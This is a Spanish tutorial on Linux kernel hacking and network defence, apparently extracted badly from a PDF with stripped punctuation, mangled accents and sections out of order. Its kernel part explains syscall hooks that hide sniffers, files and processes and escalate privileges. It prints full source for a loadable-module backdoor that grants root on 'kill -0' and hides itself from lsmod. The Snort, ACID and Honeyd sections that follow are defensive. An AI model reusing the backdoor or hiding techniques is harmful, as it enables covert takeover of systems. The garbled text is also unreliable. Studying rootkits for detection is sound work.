MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Insertamos el moacutedulo y probamos
root su linux linux$ su root linux$ tail varlogmessages
La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora
Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por
res=( hook_suid)(0)
hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes
En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)
Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no
Kernel hacks y seguridad JMP
6- Backdoor local para kernels 24x
Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo
En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente
linux$ kill -0 00000 (al hacer id vemos que ocurre)
por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto
Kernel hacks y seguridad JMP
backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)
En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas
$cat procksyms
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
